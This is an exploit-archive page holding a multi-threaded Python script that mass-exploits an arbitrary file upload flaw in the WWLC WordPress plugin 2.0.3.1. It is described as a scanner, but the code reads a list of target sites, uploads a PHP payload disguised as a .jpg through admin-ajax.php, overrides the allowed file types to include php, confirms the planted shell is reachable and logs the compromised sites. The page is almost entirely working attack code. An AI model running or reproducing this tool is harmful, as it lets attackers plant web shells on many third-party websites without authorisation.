Share
## https://sploitus.com/exploit?id=PACKETSTORM:217187
=============================================================================================================================================
    | # Title     : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Mass Scanner Multi‑Threaded Python Exploit                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://woocommerce.com/                                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : This Python tool is a multi‑threaded scanner designed to detect an arbitrary file upload vulnerability in the WWLC WordPress plugin. 
                     The script loads a list of target websites from a file and attempts to upload a crafted PHP payload through the vulnerable admin-ajax.php 
    				 endpoint using the wwlc_file_upload_handler action. After sending the upload request, the tool verifies whether the file was successfully stored in the WordPress uploads directory by requesting the generated file URL. 
    				 The scanner supports retry logic, connection error handling, and concurrent scanning using multiple threads for faster large‑scale assessments. 
                     Successful uploads are recorded in output files for later review, while failed or unreachable targets are handled gracefully to maintain scan stability.
    			  
    [+] POC   : 
    
    
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    import os
    import sys
    import json
    import time
    import threading
    import queue
    from urllib.parse import urlparse
    
    import requests
    from colorama import init, Fore, Style
    
    init(autoreset=True)
    
    THREADS = 40
    TIMEOUT = 10
    RETRIES = 6
    
    SITES_FILE = "kll.txt"
    BPVULN_FILE = "exploited.txt"
    VULN_FILE = "vuln.txt"
    
    PAYLOAD_PATH = "/sdcard/1/404_protected.php"
    
    HEADERS = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Accept": "application/json, text/javascript, */*; q=0.01",
    }
    
    FILE_SETTINGS = {
        "allowed_file_types": ["php", "png", "jpg"],
        "max_allowed_file_size": 5000000
    }
    
    file_lock = threading.Lock()
    
    requests.packages.urllib3.disable_warnings()
    
    
    def create_session():
        session = requests.Session()
        session.headers.update(HEADERS)
        session.verify = False
        return session
    
    
    def normalize(site):
    
        site = site.strip()
    
        if not site.startswith("http://") and not site.startswith("https://"):
            site = "http://" + site
    
        return site.rstrip("/")
    
    
    def load_sites():
    
        if not os.path.exists(SITES_FILE):
            print(Fore.RED + f"[-] {SITES_FILE} not found")
            sys.exit(1)
    
        with open(SITES_FILE, "r", encoding="utf-8") as f:
            sites = [normalize(line) for line in f if line.strip()]
    
        return sites
    
    
    def check_vulnerability(site, session):
    
        parsed = urlparse(site)
    
        base = f"{parsed.scheme}://{parsed.netloc}"
    
        ajax_url = base + "/wp-admin/admin-ajax.php"
    
        uploads_dir = base + "/wp-content/uploads"
    
        for attempt in range(RETRIES):
    
            try:
    
                with open(PAYLOAD_PATH, "rb") as f:
                    file_data = f.read()
    
            except Exception as e:
    
                print(Fore.RED + f"[!] Payload error: {e}")
    
                return None
    
            files = {
                "action": (None, "wwlc_file_upload_handler"),
                "uploaded_file": ("404.php.jpg", file_data, "image/jpeg"),
                "file_settings": (None, json.dumps(FILE_SETTINGS), "application/json")
            }
    
            try:
    
                response = session.post(ajax_url, files=files, timeout=TIMEOUT)
    
                try:
                    data = response.json()
                except Exception:
                    data = None
    
                if isinstance(data, dict):
    
                    if data.get("status") == "success" and "file_name" in data:
    
                        filename = data["file_name"]
    
                        shell_url = uploads_dir + "/" + filename
    
                        try:
    
                            verify = session.get(shell_url, timeout=TIMEOUT)
    
                            if verify.status_code == 200:
    
                                print(Fore.GREEN + f"[+] {site} -> {filename}")
    
                                return ("success", filename, uploads_dir)
    
                        except Exception:
                            pass
    
                return ("fail", None, None)
    
            except (requests.exceptions.Timeout, requests.exceptions.ConnectionError):
    
                if attempt < RETRIES - 1:
    
                    print(Fore.YELLOW + f"[~] {site} retry {attempt+1}/{RETRIES}")
    
                    time.sleep(1)
    
                else:
    
                    print(Fore.RED + f"[-] {site} failed after retries")
    
                    return ("timeout", None, None)
    
            except Exception as e:
    
                print(Fore.RED + f"[!] {site} unexpected error: {e}")
    
                return ("error", None, None)
    
        return ("fail", None, None)
    
    
    def worker(q, session):
    
        while True:
    
            try:
                site = q.get(timeout=1)
    
            except queue.Empty:
                break
    
            result = check_vulnerability(site, session)
    
            if result and result[0] == "success":
    
                _, filename, uploads_dir = result
    
                with file_lock:
    
                    with open(BPVULN_FILE, "a", encoding="utf-8") as f:
                        f.write(f"{site} > {filename}\n")
    
                    with open(VULN_FILE, "a", encoding="utf-8") as f:
                        f.write(f"{uploads_dir}\n")
    
            q.task_done()
    
        session.close()
    
    
    def main():
    
        print(Fore.CYAN + Style.BRIGHT + """
    ╔════════════════════════════════════╗
    β•‘   WWLC File Upload Mass Scanner    β•‘
    β•‘       Fixed by indoushka           β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    """)
    
        sites = load_sites()
    
        print(Fore.CYAN + f"[*] Loaded {len(sites)} sites")
    
        for f in [BPVULN_FILE, VULN_FILE]:
    
            if os.path.exists(f):
                os.remove(f)
    
        q = queue.Queue()
    
        for site in sites:
            q.put(site)
    
        threads = []
    
        for _ in range(min(THREADS, len(sites))):
    
            session = create_session()
    
            t = threading.Thread(target=worker, args=(q, session))
    
            t.daemon = True
    
            t.start()
    
            threads.append(t)
    
        q.join()
    
        for t in threads:
            t.join(timeout=1)
    
        print(Fore.CYAN + "[*] Scan completed")
    
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================